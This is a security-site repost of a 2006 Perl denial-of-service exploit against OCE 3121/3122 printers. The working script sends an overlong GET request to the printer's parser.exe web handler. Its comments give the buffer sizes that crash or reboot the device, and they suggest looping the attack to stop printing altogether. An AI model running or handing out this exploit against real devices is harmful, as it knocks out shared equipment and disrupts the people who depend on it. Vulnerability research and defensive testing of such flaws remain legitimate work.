首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
OCE 3121/3122 Printer (parser.exe) Denial of Service Exploit
来源:trancelover75 [AT] gmail.com 作者:Herman 发布时间:2006-04-27  

#!/usr/bin/perl
#
#OCE 3121/3122 Printer DoS Exploit
#----------------------------
#By Herman Groeneveld aka sh4d0wman
#trancelover75 [AT] gmail.com
#
#Description: the printer runs a webserver to provide various printing tasks from
#java enabled browsers. Input is being filtered for bad characters.
#However it is vulnerable to a long url request. This will either reboot or crash the device.
#
#On crash, the "system" led on the printer changes from green to orange. No further printing is done
#until somebody resets the printer by flipping the powerswitch. E675 error displayed in printer display.
#On reboot, printing resumes after the device has completed it's reboot cycle.
#
#Crash is hard to accomplish. Play with the buffer input size. 261 worked at my printer.
#Values of 250/500/50000 are known to reboot the printer. No reliable size for crashing yet.
#
#Loop this exploit and printing will be nearly impossible. Tested: unhappy users. Not implemented.
#
#If you test this on your device, pls let me know the result. I had just 1 printer to test it at ;)
#
#Discovered: 29/03/2006
#Target: tested against OCE 3121/3122 printer.
#Vendor: www.oce.com (no response)

use IO::Socket;

if (@ARGV != 3)
{
print " \n";
print " #OCE 3121/3122 Printer DoS Exploit# \n";
print "---------------------------------------------------------------\n";
print " Usage: crashoce.pl <target ip> <target port> <request length> \n";
print " Example: new.pl 127.0.0.1 80 250 \n";
print " Play with request length for reboot or crash effect. \n\n";
print " #Coded by sh4d0wman 31/03/2006# \n";
exit(1);
}

$targetip =$ARGV[0]; #user input, no much fun in attacking 127.0.0.1 is it?
$targetport =$ARGV[1]; #user input since vendor might change this some day, unlikely though :-)
$reqlength = $ARGV[2]; #user input since different sizes give different results

print "[-] OCE 3122 Printer DoS Exploit\n\n";
print "[-] Target IP: ";
print $targetip;
print "\n[-] Connecting to target IP...\n";

$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$targetip",
PeerPort => "$targetport"); unless ($socket) { die "- Could not connect. Check IP & port. Hint: default port is 80!\n"}

print "[-] Connected to printer\n\n";

print "[-] Creating DoS request...\n";

$bufa='A'x$reqlength; #creating payload, length based on user input

print "[-] Sending request...\n\n";

print $socket "GET /parser.exe?".$bufa.".html"." HTTP/1.1\r\n\r\n";
sleep 5; #Be advised! Printer reaction to exploit can take up to 30 sec. Pls, be patient...

print "[>]Attack completed! Printer in error state or rebooting.\n";
close($socket);



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Fenice OMS 1.10 (long get requ
·Oracle <= 10g Release 2 (DB
·Mozilla Firefox <= 1.5.0.2
·Invision Power Board <= 2.1
·FlexBB <= 0.5.5 (function/s
·BL4 SMTP Server < 0.1.5 Rem
·Apple Mac OS X Safari <= 2.
·TopList <= 1.3.8 (phpBB Hac
·My Gaming Ladder Combo System
·Advanced GuestBook <= 2.4.0
·PHPSurveyor <= 0.995 (surve
·Invision Power Board <= 2.1
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved